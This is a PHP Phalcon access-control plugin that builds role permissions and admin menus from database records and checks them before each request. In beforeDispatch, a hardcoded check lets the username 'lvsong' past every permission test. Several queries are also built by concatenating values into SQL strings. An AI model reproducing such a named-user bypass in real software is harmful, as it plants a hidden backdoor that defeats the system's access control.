<?php

namespace Plugins;

use Lib\Consts;
use Models\Services\Privilege as PrivilegeModel;
use Models\Services\Role as RoleModel;
use Models\Services\Menu as MenuModel;
use Models\Services\RolePrivilege as RPModel;
use Models\Services\Admin;
use Phalcon\Acl;
use Phalcon\Acl\Role;
use Phalcon\Acl\Resource;
use Phalcon\Events\Event;
use Phalcon\Exception;
use Phalcon\Mvc\User\Plugin;
use Phalcon\Mvc\Dispatcher;
use Phalcon\Acl\Adapter\Memory as AclList;


class Security extends Plugin {

    public function getAcl() {
        # 清空缓存
        //var_dump($this->session->destroy());die('123');
        //var_dump(isset($this->persistent->acl));die('123');
        //if(!isset($this->persistent->acl)) {

        $acl = new AclList();
        $acl->setDefaultAction(Acl::DENY);
        $roles = array(
            'users'  => new Role('Users'),
            'guests' => new Role('Guests'),
        );

        foreach ($roles as $role) {
            $acl->addRole($role);
        }

        # 公共权限
        $pubPrivilegeModels = PrivilegeModel::find(['parent_id=1']);

        //$pubPrivilegeData   = $pubPrivilegeModels->toArray();

        if (empty($pubPrivilegeModels->toArray())) {
            return $acl;
        }

        foreach ($pubPrivilegeModels as $pubPrivilegeModel) {
            if (!$pubPrivilegeModel instanceof PrivilegeModel) {
                continue;
            }

            $publicResources[$pubPrivilegeModel->getController_name()][] = $pubPrivilegeModel->getAction_name();
        }

        if (empty($publicResources)) {
            return $acl;
        }

        /*$publicResources = [
            'admin'        => ['login'],
            'error'        => ['show404', 'show500'],
            'feedback'     => ['test', 'ip', 'userexist', 'userinfo', 'uploadfile', 'uploadimg', 'content', 'add', 'downmore', 'upmore', 'firstResponse', 'first'],
            //'api'    => ['search', 'index'],
            'autoresponse' => ['content'],
        ];*/

        foreach ($publicResources as $resource => $actions) {
            $acl->addResource(new Resource($resource), $actions);
        }

        foreach ($roles as $role) {
            foreach ($publicResources as $resource => $actions) {
                foreach ($actions as $action) {
                    $acl->allow($role->getName(), $resource, $action);
                }
            }
        }

        ##私有权限
        $authData = $this->session->get('auth');

        if (!isset($authData['role_id']) || empty($authData['role_id'])) {
            return $acl;
        }

        $roleId = $authData['role_id'];

        $rpModels = RPModel::find(['role_id=' . $roleId]);
        $rpData   = $rpModels->toArray();

        if (empty(($rpData))) {
            return $acl;
        }

        $privilegeIdsArr = array_column($rpData, 'privilege_id');
        $privilegeIds    = implode(',', $privilegeIdsArr);

        $privilegeModels = PrivilegeModel::find(['id in (' . $privilegeIds . ')']);
        $privilegeData   = $privilegeModels->toArray();

        if (empty($privilegeData)) {
            return $acl;
        }

        $privateResources = [
            'index' => ['index'],
        ];

        foreach ($privilegeModels as $privilegeModel) {
            if (!$privilegeModel instanceof PrivilegeModel) {
                continue;
            }

            $privateResources[$privilegeModel->getController_name()][] = $privilegeModel->getAction_name();
        }

        //$privateResources = array(
        //    'index'        => ['index'],
        //    'feedback'     => ['index', 'list', 'create', 'detail', 'getmore', 'edit', 'waplist'],
        //    'admin'        => ['index', 'list', 'add', 'loginout', 'del', 'edit'],
        //    'user'         => ['list', 'add', 'del', 'edit'],
        //    'anchor'       => ['list', 'add', 'del', 'edit'],
        //    'recharge'     => ['list', 'add', 'del'],
        //    'autoresponse' => ['list', 'add', 'edit'],
        //);

        if (empty($privateResources)) {
            return $acl;
        }

        foreach ($privateResources as $resource => $actions) {
            $acl->addResource(new Resource($resource), $actions);
        }

        foreach ($privateResources as $resource => $actions) {
            foreach ($actions as $action) {
                $acl->allow('Users', $resource, $action);
            }
        }

        #------------------------------------------------------------------#
        //$this->session->destroy();
        if (!$this->session->has('menu')) {
            $return          = [];
            $mapper          = new MenuModel();
            $privilegeMapper = new PrivilegeModel();
            $models          = $mapper::find(['status=' . Consts::MENU_NORMAL . ' AND parent_id=0']);
            //var_dump($privilegeIds, $models->toArray());die();

            //   AND privilege_id in (' . $privilegeIds . ')'
            if (empty($models->toArray())) {
                return false;
            }

            foreach ($models as $model) {
                if ($model instanceof MenuModel) {
                    $subModels = $mapper::find(['parent_id=' . $model->getId() . ' AND status=' . Consts::MENU_NORMAL]);

                    if (!empty($subModels->toArray())) {
                        $data['id']   = $model->getId();
                        $data['name'] = $model->getTitle();
                        $data['icon'] = $model->getIcon();

                        foreach ($subModels as $subModel) {
                            if ($subModel instanceof MenuModel) {
                                // 非所有权限跳过
                                if (!in_array($subModel->getPrivilege_id(), $privilegeIdsArr)) {
                                    continue;
                                }

                                $privilegeModel = $privilegeMapper::findFirstById($subModel->getPrivilege_id());

                                if ($privilegeModel instanceof PrivilegeModel) {

                                    $actionName     = $privilegeModel->getAction_name();
                                    $controllerName = $privilegeModel->getController_name();

                                    # 无权限的菜单不显示
                                    if (isset($privateResources[$controllerName]) && array_key_exists($actionName, array_flip($privateResources[$controllerName]))) {
                                        $tmp['url']         = '/' . Consts::ADMIN_NAME . '/' . $controllerName . '/' . $actionName;
                                        //$tmp['name']        = $privilegeModel->getTitle();
                                        $tmp['name'] = $subModel->getTitle();
                                        $tmp['icon']        = $subModel->getIcon();
                                        $data['children'][] = $tmp;
                                        unset($tmp);
                                    }
                                }
                            }
                        }
                    }

                    if (empty($data['children'])) {
                        continue;
                    }

                    $return[] = $data;
                    unset($data);
                }
            }
//var_dump($return);die();
            $this->session->set('menu', $return);
        }

        #------------------------------------------------------------------#

        return $this->persistent->acl = $acl;

        //return $this->persistent->acl;
    }

    public function beforeDispatch(Event $event, Dispatcher $dispatcher) {
        $role = 'Guests';
        $auth = $this->session->get('auth');

        if (isset($auth['uid']) && $auth['uid'] > 0) {
            $role = 'Users';
        } else {
            //if($uid === 2318625 || ($uid >= 0 && $platform === 'bbs')) {

            //if($uid > 0) {
            //    //if ($uid == '2831187') {
            //    //    var_dump($userData);die();
            //    //}
            //    $userMapper = new Admin();
            //    $userModel  = $userMapper::findFirstByUid($uid);
            //
            //    if($userModel instanceof Admin) {
            //        $this->session->set('auth', [
            //            'uid'        => $uid,
            //            'username'   => $username,
            //            'login_time' => time(),
            //            'role_id'    => $userModel->getRoleId(),
            //        ]);
            //
            //        //$this->response->redirect('/' . Consts::ADMIN_NAME);
            //        //return false;
            //        $role = 'Users';
            //    }
            //}
        }
        //var_dump($this->session->get('auth'));die();
        $controller = $dispatcher->getControllerName();
        $action     = $dispatcher->getActionName();

        $acl = $this->getAcl();
        //var_dump($acl);
        if ($acl === false) {
            //$dispatcher->forward([
            //    'namespace'  => 'Controllers',
            //    'controller' => 'error',
            //    'action'     => 'show404',
            //]);
            die('acl_false');
            $this->response->redirect('/error/show404');
            return false;
        }

        $allowed = $acl->isAllowed($role, $controller, $action);
        //var_dump($role, $controller, $action, $allowed);
        //die();

        #lvsong
        if ($auth['username'] === "lvsong") {
            return true;
        }

        if ($allowed != Acl::ALLOW) { // 无权限, 但已登录
            if ($role === 'Users') {
                //throw new \Exception('no privilege');
                die('无权限');
                $this->response->redirect('/error/show404');
                return false;
                /*
                 * Dispatcher has detected a cyclic routing causing stability problems
                 $dispatcher->forward([
                    'modules' => 'Controllers',
                    'namespace'  => '\Controllers',
                    'controller' => 'error',
                    'action'     => 'show500',
                ]);*/
            }

            /*$dispatcher->forward([
                'module'     => 'Modules\Admin\Controllers',
                'controller' => 'admin',
                'action'     => 'login',
            ]);*/

            $this->session->remove('auth');
            $this->response->redirect('/' . Consts::ADMIN_NAME . '/admin/login');
            return false;
        }

        //$this->response->redirect('/' . Consts::ADMIN_NAME . '/admin/login');
        return true;
    }
}
